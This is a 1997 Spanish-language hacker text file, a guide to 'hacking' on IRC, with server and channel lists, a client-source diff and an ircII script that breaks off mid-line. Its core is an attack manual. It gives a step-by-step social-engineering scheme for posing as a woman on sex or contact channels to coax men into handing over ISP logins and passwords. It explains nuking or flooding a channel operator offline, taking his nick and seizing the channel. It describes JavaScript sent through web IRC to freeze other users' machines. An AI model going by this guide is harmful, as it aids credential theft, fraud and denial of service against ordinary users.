15 - 04 - 1997. ?????? ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿²² ³ La Guia Universal del Hacker en el IRC ³²² ³ - J.J.F. / HACKERS TEAM - ³²² ³ V 1.0 ³²² ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º I M P O R T A N T E º ÈÂÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ³ ³ ³ Ni el autor de esta guia ni el grupo - J.J.F. / HACKERS TEAM - , se ³ ³ hacen responsables de la utilizacion de las tecnicas aqui descritas .³ ³ La informacion debe ser libre por eso se ha creado esta guia , para ³ ³ cualquiera que desee conocer el underground del IRC . ³ ³ No pretendemos incitar al vandalismo o al sabotaje , por lo que no ³ ³ utilizes esta informacion para joder al projimo , ya que va encontra ³ ³ de la etica hacker , o sea que cuidado con lo que haces que el gran ³ ³ hermano y sus perros te vigian , quedas avisado ;-) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FICHERO OBTENIDO EN EL WEB OFICIAL DE - J.J.F. / HACKERS TEAM - #WEB OFICIAL : - http://www.angelfire.com/mi/JJFHackers - http://jjfhackers.home.ml.org #E-MAIL OFICIAL : - jjf_team@usa.net ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ - INDICE . 1 - ¨ Que co¤o es esta guia ? 2 - ¨ Que es IRC ? 3 - Para poder enpezar con un programa IRC . 4 - Listado de servidores . 5 - Lista de canales mas interesantes . 6 - Hora de empezar : el arte de la Ingenieria social . 7 - Hacerse pasar por OP y obtenerlo . 8 - Bloquear un ordenador a traves de un WEB IRC . 9 - Como esconder mi verdadero nombre de usuario . 10 - Completo script para uso personal : FooLZ. 11 - Un caballo de batalla : Link Looker . 12 - Nuestro propio BOT . 13 - Metiendo el .rhosts por el IRC . 14 - Utilizacion de scripts . 15 - Informacion general . 16 - -J.J.F. / HACKERS TEAM - . ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 - ¨ Que co¤o es esta quia ? Bueno , ahora que ya hemos dejado el tipico rollo de la presentacion , nos dedicaremos a lo que interesa . Si estas leyendo esto , es porque tienes los mismos interes que yo :) , claro que si , el HACKING , aunque por supuesto tengo otras mas que no viene a cuento . Esta guia prentende ser una ayuda a todo aquel hacker , que quiera hacer sus pinitos en el IRC , aqui podras encontrar , desde ingeneria social ( que de paso nos podremos sacar unos passwords , je je je ) , pasando por tecnicas avanzadas y utilizacion de scripts , que moviendote un poco podras conseguir , pero no te preocupes te diremos donde !!!! Lo mas seguro es que ya conozcas mucho de la informacion aqui descrita , ya que nos hemos dedicado a la recopilacion para tenerla todo juntito , si ya lo tienes todo pues por lo menos lo tendras ordenado en el mismo fichero y si eres de aquellos que no lo tienes todo o solo conocias un poco pues ya sabes ... Pues espero que esto te pueda servir de ayuda y no me haya molestado en balde recopilando informacion :) Basta ya , que seguro que quieres empezar , si quieres saber algo de nosotros nos encontraras al final del fichero P-) Si no tiene ni idea de que es IRC entonces tendras que leer los primeros capitulos aunque no se ha incluido la utilizacion de los comandos del IRC ya que se sale de la idea de la guia y que se supone que ya sabes utilizar el IRC , pero sino te consideras un LAMER , entonces salta hasta la jugosa informacion ;-) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2 - ¨ Que es IRC ? Las siglas de IRC corresponden a INTERNET REALY CHAT , que en nuestro idioma se podia definir como "conversaciones en tiempo real en internet" . Esto significa que cuando estamos en internet con un programa IRC , como por ejemplo : mirc ( unos de los populares ) , pirch , jawer , virc y otros muchos . Podemos conectar con servidores a lo largo de la red y acceder a ellos para poder hablar con otros usuarios o hackers , entre las miles de canales (ROOM) que disponen estos servidores , en canales publicos , en donde puede haber decenas de usuarios conectados o en canales privados para que "solo haya un repector y emisor" , si lo pongo entre comillas sera por algo :) . Por ejemplo estos servidores son irc.jet.es , irc.arrakis.es , muy conocidos los dos en nuestro pais y canales seria #HACKERS , #SEXO , #ESPA¥A . Mas abajo encontras una lista de servidores y otra de canales mas famosos . Creo que ya sabes como va esto por lo que pasaremos a otro capitulo . ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 3 - Para poder empezar con un programa IRC . En este capitulo de dire donde poder encontrar un programa IRC , para que puedas empezar a conocer este fantastico mundo , pero no voy a ense¤ar a utilizar ningun programa en concreto o como se utiliza un programa IRC o su jerga en los canales , para eso tienes que esforzarte tu solito , un buen consejo es siempre dirijirte al canal #beginer , donde te podran ayudar a solventar tus dudas y problemas . Para poder conseguir uno de estos programas , es muy facil , si quieres siempre puedes comprar alguna de esas revistas sobre internet que contienen un CD , seguro que habra un programa de esos , tambien estan ese amigo que ya lleva conectado tiempo y seguro que te podra pasar uno , y siempre como ultimo recurso estan internet y las BBS , donde facilmente podras encontrar algo , buscando en algun motor de busqueda , escribiendo IRC o algun nombre de algun programa arriba mencionado :) -> Motores de busqueda , ­­ por si no sabes ninguno !! . http://www.yahoo.com En ingles . http://www.altavista.com En ingles . http://www.ole.es En espa¤ol :) . http://www.ozu.com En espa¤ol :) -> Direcciones de programas IRC . . http://www.mirc.co.uk Programa muy bueno . . http://www.megalith.co.uk/virc/ No esta mal , pero no mata . Bueno con esto ya podras empezar , ya que tampoco esperas que te lo haga todo , verdad ? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 - Listado de servidores . Aqui te describo una lista de servidores donde podras conectar a lo largo y ancho de la RED . Los separo en dos grupos , los primeros en espa¤ol y los segundos son en ingles aunque siempre podras encontrar canales de lengua espa¤ola en estos ultimos . Para conectar a un servidor siempre se conecta por un puerto que va del puerto 6667 al 6669 , tambien es posible que use el puerto 7000 , no te preocupes los programas lo hacen esto por ti , pero siempre esta de mas saberlo , ya que algunas veces debemos hacerlo manual para poder conectar a un servidor ya que puede tener uno de sus puertos con demasiado transito . -> Servidores espa¤oles . irc.jet.es irc.arrakis.es irc.catalunya.es irc.axis.inf irc.cerf.net irc.ctv.es epix.irc.net irc.teleline.es irc.sitrantor.es irc.lleida.net irc.minorisa.es irc.conexis.es irc.catalunya.net irc.develnet.es irc.infor.es irc.parser.es irc.encomix.es bbs.eui.upv.es irc.ibernet.es -> Servidores extranjeros . Undernet : chicago.il.us.Undernet.org Undernet : toronto.on.ca.undernet.org Undernet : blacksburg.va.us.undernet.org Undernet : pittsburgh.pa.us.undernet.org EFNET : irc.neosoft.com Random IceNet : irc.icenet.org Random US Undernet : us.undernet.org Undernet : lowell.ma.us.undernet.org Random EFnet : irc.chat.org Random DALnet : irc.dal.net Random EU Undernet : eu.undernet.org DALnet : armidale.DAL.net DALnet : toronto.DAL.net DALnet : xgw.DAL.net: DALnet : hades.DAL.net DALnet : liberator.DAL.net DALnet : davis.DAL.net DALnet : cyberverse.DAL.net DALnet : voyager.DAL.net DALnet : mindijari.DAL.net DALnet : spider.DAL.net DALnet : ohana.DAL.net DALnet : cin.DAL.net DALnet : Mystic.DAL.net DALnet : skypoint.DAL.net DALnet : kechara.ma.us.DAL.net DALnet : nether.DAL.net DALnet : stlouis.DAL.net DALnet : toast.DAL.net DALnet : uncc.DAL.net DALnet : dreamscape.DAL.net DALnet : taxi.DAL.net DALnet : glass.DAL.net DALnet : farside.DAL.net DALnet : phoenix.DAL.net DALnet : dragon.DAL.net EFNET : irc.io.org EFNET : magic.mb.ca EFNET : irc02.irc.aol.com EFNET : irc.primenet.com EFNET : irc.blackened.com EFNET : irc-2.kern.com EFNET : irc.cris.com EFNET : irc.cerf.net EFNET : eff.org EFNET : irc.colorado.edu EFNET : opus.bridge.net EFNET : irc.law.emory.edu EFNET : irc.ais.net EFNET : irc.mcs.net EFNET : irc.mo.net EFNET : irc2-1.netcom.com EFNET : irc2-2.netcom.com EFNET : irc2-3.netcom.com EFNET : irc.ionet.net EFNET : irc.epix.net EFNET : irc.voicenet.com EFNET : irc.pitt.edu EFNET : irc.phoenix.net EFNET : irc.texas.net EFNET : irc.psinet.com FEFnet : taos.arc.unm.edu FEFnet : irc.liii.com FEFnet : irc.limited.net FEFnet : serine.cowly.uwlax.edu Icenet : sydney.au.icenet.org Icenet : zip.au.icenet.org Icenet : acid.uk.icenet.org Icenet : phat.us.icenet.org Icenet : irc.us.icenet.org IRCNet : speech.elec.uow.edu.au IRCNet : irc.wu-wien.ac.at IRCNet : irc.funet.fi IRCNet : irc.pspt.fi IRCNet : irc.univ-lyon1.fr IRCNet : irc.isnet.is IRCNet : irc.ccii.unipi.it IRCNet : irc.xs4all.nl IRCNet : irc.sci.kun.nl IRCNet : irc.ludd.luth.se IRCNet : chat.btinternet.com IRCNet : irc.demon.co.uk IRCNet : stork.doc.ic.ac.uk IRCNet : irc.netcom.net.uk NewNet : irc.netbistro.com NewNet : irc.aohell.org NewNet : irc.dresden.com NewNet : irc.primary.net NewNet : irc.eskimo.com StarLink : Aspen.CO.US.StarLink.Org StarLink : Rochester.MI.US.StarLink.Org StarLink : Cinci.OH.US.StarLink.Org Undernet : montreal.qu.ca.undernet.org Undernet : vancouver.bc.ca.undernet.org Undernet : luxembourg.lu.eu.undernet.org Undernet : amsterdam.nl.eu.undernet.org Undernet : diemen.nl.eu.undernet.org Undernet : lulea.se.eu.undernet.org Undernet : london.uk.eu.undernet.org Undernet : auckland.nz.undernet.org Undernet : phoenix.az.us.undernet.org Undernet : sandiego.ca.us.undernet.org Undernet : atlanta.ga.us.undernet.org Undernet : manhattan.ks.us.undernet.org Undernet : ann-arbor.mi.us.undernet.org Undernet : springfield.mo.us.undernet.org Undernet : stlouis.mo.us.undernet.org Undernet : dallas.tx.us.undernet.org Undernet : washington-r.dc.us.undernet.org Todavia quedan muchos servidores , como por ejemplo espa¤oles pero tampoco este vez lo hare todo , je je je . ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 5 - Lista de canales mas interesantes . Aqui pongo una serie de canales que yo considero como los mas interesantes para los hackers . Aunque como hay muchos eso depende de cada uno , por desgracia los servidores extranjeros son los que mas canales ofrecen aunque les sera dicifil para aquellos que no sepan ingles . Esta vez no hare distincion entre los servidores por lo que puede haber canales de servidores espa¤oles y extranjeros mezclados . Tambien decir que hay muchos mas que pueden ser interesantes , solo hay que buscarlos :) -> Listado de canales . #2600 #cellular #hack #phreak #linux #realhack #root #unix #warez #hackers #hackers_novatos #hack_novatos #666 #virus ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 - Hora de empezar : el arte de la Ingenieria social . Se llama ingenieria social , a una rama del hacking que consiste en hacernos pasar por otra persona y que este LAMER nos diga lo que queremos saber , como por ejemplo su login y password , asi ya tendremos su cuenta para lo que querramos o le pedimos lo que se nos ocurra , esto es de libre eleccion . Esto que parece una tonteria , es una rama dificil de hacking ya que no se puede hacer a la ligera , hay que seguir unas medidas para conseguir nuestros propositos . -> Consejos para utilizar la ingenieria social . . Parecer seguro y con autoridad de lo que se dice , ya que si vacilamos perderemos confianza del LAMER . . Comenzar en canales faciles donde la gente no sepa mucho de esto , como por ejemplo #beginer , donde les podemos pegar el timo , tambien en canales donde algun listillo por chulo nos diga lo que queremos saber , cuando ya tengamos cierta experencia podemos pasar a canales mas dificiles . . A veces habra que trabajar durante varios dias para que nos cojan cierta confianza :) . Tambien pasarnos como una chica o un Lamer para que alquien nos ayude y nos explice como funcina esto de internet , suele dar resultado . . Procurar no decir que viviis cerca ya que te podia decir que te da su password en persona o podria proponer quedar un dia en un cafe , entonces ya se lia . Conviene seguir estas medidas para nuestra seguridad y no seanos pillados en accion . Que nos hagamos pasar por una chica o un lamer es mas facil que un "op" , ya que en principio no seremos operadores del canal . -> Explicaremos el caso de ser chica , je je je Entramos en un canal de contactos , sexo o territoriales , con el nombre de CAROL, MARTA , MARIA , etc ... Mejor que sea un nombre de chica y no una cosa sugerente , aunque si no lo haces procura que llame la atencion y se crean que eres una chica . Ya estamos en uno de estos y nos ponemos en contacto con alguno del canal , preferiblemente un chico , en algunos canales ellos se pondran en contacto con nosotros al momento :) Comenzamos a hablar con uno , sera dificil que la primera vez que hablamos con el LAMER nos de el password , pero nada es imposible para los hackers , por esta razon sera conveniente que hablemos con el varios dias . Tendremos que inventar una ficha creible para "nuestra chica" y contarsela para que nos coja cari¤o . Por ejemplo , le podimos decir que eres nueva en internet y no sabes como funciona exactamente y te parece dificil y te explique como lo hace el para conectarse con su proveedor haber si por casualidad nos dice su login y su password para conectarse . Otra cosa que le podemos decir es que la conexion es de nuestro hermano o algo por el estilo , y que solo la tenia por un mes y que ya se acaba el plazo y no la va a renovar , asi que haber si consigues que el LAMER nos ceda su login y su password para poder quedar con el en internet , porque te encanta hablar con el . Aqui te he dado un ejemplo , pero como este hay miles solo tenemos que pensar en algun personaje que nos pueda proporcionar frutos , por el esfuerzo . Aunque aqui no viene a cuento , esta tecnica se puede aplicar al telefono diciendo que eres el proveedor y que tiene que darte su password porque habeis tenido probemas con los ordenadores o cualquier historia creible . El unico inconveniente es que conoceran nuestra voz , cosa que en el IRC no podran . ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 7 - Hacerse pasar por OP y obtenerlo . Aqui explicaremos una tecnica que consiste en una combinacion de script e ingenieria social ;-) Para comenzar necesitamos disponer de un nuke o un flood , para hacer caer del servidor a nuestra presa , je je je . Este tipo de programas los podemos encontrar en varios script . -> Lo que necesitamos . . El mirc . un script ( 7th sphere , Gangsta-G , etc ...) . un poco de picardia XDDD Desgraciamente en nuestros dias , ya casi no se puede tirar a nadie mediante flood por lo que aconsejo un nuke o otra "utilidad" para nuestra finalidad . Bueno finalmente ya estamos equipados para la "incursion" y ha ello vamos , por lo que primero entramos al servidor que nos interese , luego claro esta escojemos un canal , entramos en el y miramos a los OP , procurar que sean tontos , elegimos una victima que sea OP , le atacamos con el flood o el nuke o alguna otra herramienta que sirva . Si conseguimos nuestro obejetivo y el OP cae del servidor , entonces felicidades :) , ahora solo nos queda salir del canal , cambiar nuestro nick ( como te llames en el servidor ) por el suyo y volver al canal de antes , diciendo : "joder , me han tirado . Devolverme OP , plz ." Si algun OP tonto cae en la trampa y nos da el OP , entonces el canal es nuestro , elegimos la opcion "mass-de-op" de nuestro script y sino manualmente y quitamos a todos los demas OP y el canal sera nuestro y podemos hacer lo que nos apetezca :)) Si fallamos lo unico que haremos es crearnos enemigos , por lo que no hagais esto con vuestro nick habitual , hasta que no este seguro de ti mismo . Provando esta tecnica al principio puede ser dificil , por lo que recomiendo que hagas algunas pruebas con algun colega y cuando ya este listo , ajustale las cuentas a ese OP que es un vacilon ;-) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 - Bloquear un ordenador a traves de un WEB IRC . En este capitulo de nuestra querida guia explicaremos una tecnica , que consiste en bloquear un ordenador a traves de un WEB IRC , que no sabias que a traves del WEB se puede hablar , en que mundo vives :) Para esto lo unico que tenemos que hacer es crear un peque¤o script en JavaScript y ya esta . Aqui te pongo dos , pero que los dos tinen la misma finalidad , je je je -> Los Scripts . . . No voy a explicar los script ya que son muy faciles de entender , aunque en el primero donde pone "texto" lo podemos cambiar por lo que queramos . Tenemos que decir que estos script no siempre funcionan , debido al CGI que utilizen , para saber si los podemos utilizar basta que escribamos "<" y sino sale o sale otra cosa , entonces desgraciadamente no los podremos utilizar :( y no se te ocurra ejecutarlo . Para comenzar escribimos alguno de los script y le damos al boton de enviar por lo que se enviara a todos del canal a no ser que se lo enviemos a uno en particular . Desgraciadmente de las dos formas nosotros tambien seremos atacados por nuestro script , pero podemos pararlo aunque es un poco dificil . Para ello hay varias formas , la primera seria vigilar el Trumpet para saber cuando nuestra se¤al es enviada , un poco dificil sino se conoce el Trumpet , sino sabes lo que es esto pues olvida este forma :) , otra seria pulsar el boton de enviar como antes y la pantalla se quedara en blanco y acto seguido pulsar el boton de stop . Tambien podemos tener dos WEB cargados , uno en el canal y otro no y cuando el del canal se bloquee pues lo cerramos y entramos con el otro al canal y nos reimos un rato del personal XDDDD Y seguro que ya se te ocurrian mas formas para detener tu script . ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 - Como esconder mi verdadero nombre de usuario . Interesante tecnica pero lo malo es que solo se puede utilizar para aquellos que se muevan en el mundo unix ;-) Basicamente consiste en tener el codigo fuente de nuestro cliente de IRC y le cambianos las rutinas en C , para que esconda nuestros datos , je je je -> Para obtener el codigo fuente del cliente IRC por FTP . . cs.bu.edu /irc/clients. Cuando ya nos hemos bajado el cliente miramos los siguientes ficheros en codigo C , irc.c y ctcp.c . Entonces le cambianos en el irc.c el nombre de usuario y en el ctcp.c la informacion ctcp y solo nos queda compilarlo :) Aqui doy un peque¤o ejemplo de como quedaria esta peque¤a operacion , aunque claro que esta en ingles , pero no pasa nada para aquellos que no sepan ya que solo hay que copiar :-) -> El codigo fuente modificado del cliente IRC . *** ctcp.c Sin modificar . --- ctcp.c Modificado . *************** *** 331,337 **** struct passwd *pwd; long diff; int uid; ! char c; /* * sojge complained that ircII says 'idle 1 seconds' --- 331,337 ---- struct passwd *pwd; long diff; int uid; ! char c, *fing; /* * sojge complained that ircII says 'idle 1 seconds' *************** *** 348,354 **** if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (pwd = getpwuid(uid)) { char *tmp; --- 348,356 ---- if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (fing = getenv("IRCFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; *** irc.c Sin modificar . --- irc.c Modificado . *************** *** 510,516 **** malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); --- 510,518 ---- malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (ptr = getenv("IRCUSER")) ! strmcpy(username, ptr, NAME_LEN); ! else if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); Es bastante facil de entender por lo que no creo neceario tener que explicar el codigo , sino lo entiendes porque no programas en C pues ya sabes comprate un buen libro o preguntale a ese amigo tuyo que si que sabe , por cierto saber C es algo necesario en este mundo :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 - Un completo script para uso personal : FooLZ. Joer no te quejaras porque viene un script entero por lo que podras entender como se hace y crear tus propias variantes , je je je Como suele ocurrir el script esta en ingles aunque esta bastante completito y nos dara una base para poder desarrollar nuestras mejoras . -> El script . ECHO [FooLZ] Loading... # oH-KaY SKRiPT RaPeRz, HeRe'Z ANoTHeR oNE FoR YoU To RaPe. # MoST oF THe iDEaZ iN FooLZ aRE NoT oRIGiNAl, aND sOME oF THe # RoUTiNES CoME FRoM DETURBO aNd TextBox. # THe /away LoGGiNG aND aUTo-Op-iNG iDEaZ eYE GoT FRoM TooLZ aND iNFiNiTY, # HoWEvEr aLL THe k0D3 iS oRiGiNAL (eYE SToLE THe iDEA, BuT NoT THe k0d3) # SoME oF THe THiNGS THaT WoUlD Be oF MoST iNTEReST To SKRiPT RaPeRZ iS # THe ISONCHAN() RoUTiNE aND THe K-KiCK CoMMAND, aS eYE HaVE NoT SeeN ThEM # iN ANy oTHER SKrIPtZ. THe SPlATTeR KiCK PRoTEcTiON I SToLE oF CRyPT KeePER, # eYE DuNNO iF He'S PuT iT iN TextBox YeT, BuT iT iS HiS iDEa # NOTEZ: iTZ KiNDA BuGGY.. eYE DoN'T THiNK The MaSS-DE-aWP PRoTeCTiON WoRX, # aND BeCaUSE oF THe HeAVY uSE oF ISCHANOP(), DE-SyNC'S WiLL MaKE FooLZ aCT # WiERD. ^ASSIGN FOOLZVER .31337 ^ASSIGN FOOLZRELEASE 1.0 ^ASSIGN MSG_BRACE_1 [ ^ASSIGN MSG_BRACE_2 ] ^ASSIGN BOLD  ^ASSIGN UNDER  ^ASSIGN HIGHL  ^ASSIGN ENVBRITE ON ^ASSIGN WARMODE OFF ^ASSIGN SNOOP_MODE ON ^ASSIGN -AUTOOP ^ASSIGN -IS_AWAY ^ASSIGN -FOOLZ_INFO EVAL SET CLIENT_INFORMATION FooLZ $FOOLZVER BeTa SET STATUS_USER FooLZ SET NOVICE OFF SET EXEC_PROTECTION OFF SET HIGHLIGHT_CHAR BOLD SET -STATUS_MAIL SET MAIL 1 SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z SET INDENT ON SET SHOW_AWAY_ONCE ON SET SEND_IGNORE_MSG OFF SET HIDE_PRIVATE_CHANNELS OFF SET HOLD_MODE OFF BIND ^[ PARSE_COMMAND ^GETMSG $MSGLIST BIND ^A SELF_INSERT BIND ^B SELF_INSERT BIND ^_ SELF_INSERT BIND ^V SELF_INSERT BIND ^Z STOP_IRC # The BoW script library ALIAS SHOW_USAGE { ECHO [FooLZ] Don't be a FooL. usage: $0- } ALIAS NOT_OPPED { ECHO [FooLZ] FooL!!! You must be opped to $0- } # usage: OP_BEGGER [channel] [comments] ALIAS OP_BEGGER { ^ASSIGN OBMSG [FooLZ] aUTo KiCK FoR aWP BeGGeRzZ ^ASSIGN OKMSG [FooLZ aWP BeGGeR KiCK] ^ASSIGN OPTMSG [FooLZ] oP BeGGeR TaRGeTeD IF ([$2]) { IF (ISCHANOP($N $1)) { ECHO $OPTMSG - $0 : $2- KICK $1 $0 $OKMSG NOTICE $0 $OBMSG } } { IF (ISCHANOP($N $C)) { ECHO $OPTMSG - $0 KICK $C $0 $OKMSG NOTICE $0 $OBMSG } } ^ASSIGN -OBMSG ^ASSIGN -OKMSG ^ASSIGN -OPTMSG } ALIAS GET_MAH_INFO { USERHOST $N -CMD ^ASSIGN FOOLZ_INFO $$0!$$3@$$4 } # usage: BAN_THIS_BITCH ALIAS BAN_THIS_BITCH { IF (ISCHANOP($N $1)) { MODE $1 -o-b $0 $2 NOTICE $0 [FooLZ] BaN PRoTeCTiON aCTiVaTED - PHeAR BoW } } # usage: ISONCHAN( ) ALIAS ISONCHAN { ^ASSIGN PERSON $0 ^ASSIGN APERSON @$0 ^ASSIGN -CHANLIST ^ASSIGN MYRC 0 ^ON -NAMES * { ^ASSIGN CHANLIST $1- IF (MATCH($PERSON $CHANLIST)) { ^ASSIGN MYRC 1 } IF (MATCH($APERSON $CHANLIST)) { ^ASSIGN MYRC 1 } } ^SET DISPLAY OFF ^NAMES $1 WAIT ^SET DISPLAY ON ^ASSIGN FUNCTION_RETURN $MYRC ^ASSIGN -MYRC ^ASSIGN -PERSON ^ASSIGN -CHANLIST } # usage: ISNICK() ALIAS ISNICK { @ FUNCTION_RETURN = 0 IF ([$0]) { USERHOST $0 -CMD IF ([$3]) { IF ([$4] != []) { @ FUNCTION_RETURN = 1 } } WAIT } } # usage: REAL_MODE ALIAS REAL_MODE { ECHO *** Mode change "$2-" on channel $1 by $0 } ALIAS FSPLIT { IF ([$1]) { SIGNOFF $1 $S } { SIGNOFF aych-pee.bow.org $S } } ON ^SEND_NOTICE * ON ^CTCP "* CHAT" { NOTICE $0 [FooLZ] DCC CHaT FLooD PRoTeCTiON - MSG Me YoU WaNT TO DCC CHaT } ON ^NOTICE * { IF ([$1]==[PONG]) { CTCP $0 FooLZ PONG'S aRE LaME - GeT a ReAL FuCKiNG SKRiPT } { IF ([$1]==[Ouch!]) { CTCP $0 FooLZ PING ReSPoNSeZ aRE LaME.. - GeT a ReAL FuCKiNG SKRiPT } { ECHO \-$0\- $1- } } } ON ^MSG * { IF (RMATCH($1 OP*)) { IF (ISCHANOP($N $C)) { OP_BEGGER $0 $C $1- } } { IF (RMATCH($1 INVITE)) { IF (ISCHANNEL($2)) { IF (ISONCHAN($N $2)) { IF (ISCHANOP($N $2)) { ^SET DISPLAY OFF INVITE $0 $2 WAIT ^SET DISPLAY ON ECHO [FooLZ] iNViTiNG $0 To $2 NOTICE $0 [FooLZ iNViTE BeGGER] - THeRE Y00 G0 BiTCH. } { NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE DoN'T GoT DaH PLuS oH oN DaT CHaNNEL } } { NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE aM NoT oN THaT CHaNNeL! } } { NOTICE $0 [FooLZ iNViTE BeGGeR] - usage: /MSG $N INVITE } } { IF ([$IS_AWAY]==[YES]) { IF ([$SNOOP_MODE]==[ON]) { ^ASSIGN LB \( ^ASSIGN RB \) ECHO [aWaY]:$BOLD$LB$BOLD$0$BOLD$RB$BOLD $1- ^ASSIGN -LB ^ASSIGN -RB } EXEC echo "$BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1-" >> ~/.FooLZ.aWaY NOTICE $0 [FooLZ] $N iZ aWaY - $AWAY_MSG NOTICE $0 [FooLZ] BuT We GoT YoUR MeSG aND WiLL SHooT iT To 'eM LaTaH - PHeAR } { ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1- } } } } ON #-MSG 111 * ^ADDMSG $0 $MSGLIST ON ^SEND_MSG "* *" ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2$BOLD $1- ON #-SEND_MSG 111 * ^ADDMSG $0 $MSGLIST ON ^PUBLIC "% % !op*" { OP_BEGGER $0- } ON -PUBLIC "* phear BoW*" { MODE $1 +v $0 NOTICE $0 AuTo-VoP FoR BoW PHeAReRz } ON ^PUBLIC "% % *PROTECTION ACTIVATED*" { MSG $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED *** KICK $1 $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED *** } ON #-RAW_IRC -252 "% KICK % *" IF ([$3]==N){QUOTE JOIN 